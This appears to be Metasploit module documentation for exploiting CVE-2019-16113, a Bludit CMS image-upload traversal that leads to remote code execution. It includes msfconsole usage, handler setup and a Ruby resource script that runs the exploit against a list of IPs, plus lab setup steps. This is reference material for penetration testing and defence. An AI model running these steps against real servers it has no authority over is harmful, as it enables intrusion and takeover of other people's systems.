List of CVEs: CVE-2019-16113
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid parameter in the image upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check to finally get remote code execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using bludit_upload_images_exec against a single host
Normally, you can use exploit/linux/http/bludit_upload_images_exec this way:
msf > use exploit/linux/http/bludit_upload_images_exec
msf exploit(bludit_upload_images_exec) > show targets
... a list of targets ...
msf exploit(bludit_upload_images_exec) > set TARGET target-id
msf exploit(bludit_upload_images_exec) > show options
... show and set options ...
msf exploit(bludit_upload_images_exec) > exploit
Using bludit_upload_images_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your bludit_upload_images_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/bludit_upload_images_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Bludit Directory Traversal Image File Upload Vulnerability
Description
This module exploits a vulnerability in Bludit: A simple, fast, "secure", flat-file CMS. A vulnerability was found by christasa in the image uploading feature. A remote user could abuse the uuid parameter in the upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check, and finally get remote code execution.
Setup
- Set up a Ubuntu box with Apache, PHP, and MySQL.
- Download: https://www.bludit.com/releases/bludit-3-9-2.zip
- Follow the installation guide here. Make sure your Apache server sets
AllowOverride Allin /etc/apache2/apache2.conf.
